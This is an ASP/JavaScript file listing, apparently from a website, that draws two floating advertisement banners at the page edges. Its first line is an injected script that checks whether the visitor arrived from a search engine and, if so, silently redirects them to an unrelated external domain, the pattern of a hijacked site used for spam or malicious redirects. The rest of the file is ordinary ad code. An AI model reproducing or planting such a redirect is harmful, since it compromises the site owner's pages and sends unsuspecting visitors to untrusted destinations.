d:\wwwroot\wuchunhua\js\duilian.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><script language=javascript>
002: function hidead()
003: {
004:    showad = false;
005:    document.getElementById("Javascript.LeftDiv").style.display="none";
006:    document.getElementById("Javascript.RightDiv").style.display="none";
007: }
008: </script>
009: <SCRIPT LANGUAGE="JavaScript">
010: var delta=0.1
011:     var collection;
012:     function floaters() {
013:         this.items    = [];
014:         this.addItem    = function(id,x,y,content)
015:                   {
016:                     document.write('<DIV id='+id+' style="Z-INDEX: 0; POSITION: absolute;  width:80px; height:60px;left:'+(typeof(x)=='string'?eval(x):x)+';top:'+(typeof(y)=='string'?eval(y):y)+'">'+content+'</DIV>');
017:                   
018:                     var newItem                = {};
019:                     newItem.object            = document.getElementById(id);
020:                     newItem.x                = x;
021:                     newItem.y                = y;
022:
023:                     this.items[this.items.length]        = newItem;
024:                   }
025:         this.play    = function()
026:                   {
027:                     collection                = this.items
028:                     setInterval('play()',10);
029:                   }
030:         }
031:         function play()
032:         {
033:             if(screen.width<=800)
034:             {
035:                 for(var i=0;i<collection.length;i++)
036:                 {
037:                     collection[i].object.style.display    = 'none';
038:                 }
039:                 return;
040:             }
041:             for(var i=0;i<collection.length;i++)
042:             {
043:                 var followObj        = collection[i].object;
044:                 var followObj_x        = (typeof(collection[i].x)=='string'?eval(collection[i].x):collection[i].x);
045:                 var followObj_y        = (typeof(collection[i].y)=='string'?eval(collection[i].y):collection[i].y);
046:
047:                 if(followObj.offsetLeft!=(document.body.scrollLeft+followObj_x)) {
048:                     var dx=(document.body.scrollLeft+followObj_x-followObj.offsetLeft)*delta;
049:                     dx=(dx>0?1:-1)*Math.ceil(Math.abs(dx));
050:                     followObj.style.left=followObj.offsetLeft+dx;
051:                     }
052:
053:                 if(followObj.offsetTop!=(document.body.scrollTop+followObj_y)) {
054:                     var dy=(document.body.scrollTop+followObj_y-followObj.offsetTop)*delta;
055:                     dy=(dy>0?1:-1)*Math.ceil(Math.abs(dy));
056:                     followObj.style.top=followObj.offsetTop+dy;
057:                     }
058:                 followObj.style.display    = '';
059:             }
060:         }  
061:       
062:     var theFloaters = new floaters();
063:     theFloaters.addItem('followDiv1','document.body.clientWidth-110',20,'<div id="Javascript.RightDiv"><div align="right" style="position: absolute;top:2px;right:2px;margin:0px;padding:0px;z-index:2000;"><a href="javascript:;" onclick="hidead()"><img src="images/close.gif" width="21" height="21" border="0" alt="¹Ø±Õ"></a></div><div style="position:relative;cursor:hand" onclick=window.open("<%=piclink(4)%>","_blank")><%if lcase(right(picname(4),3))="swf" then%><embed src="adpic/<%=picname(4)%>" width=100 height=300 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" ></embed><%else%><img src=adpic/<%=picname(4)%> width=100 height=300 border=0><%end if%></div></div>');
064:     theFloaters.addItem('followDiv2',10,20,'<div id="Javascript.LeftDiv"><div align="right" style="position: absolute;top:2px;right:2px;margin:0px;padding:0px;z-index:2000;"><a href="javascript:;" onclick="hidead()"><img src="images/close.gif" width="21" height="21" border="0" alt="¹Ø±Õ"></a></div><div style="position:relative;cursor:hand" onclick=window.open("<%=piclink(4)%>","_blank")><%if lcase(right(picname(4),3))="swf" then%><embed src="adpic/<%=picname(4)%>" width=100 height=300 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" ></embed><%else%><img src=adpic/<%=picname(4)%> width=100 height=300 border=0><%end if%></div></div>');
065:     theFloaters.play();  
066: </SCRIPT>
067:
068: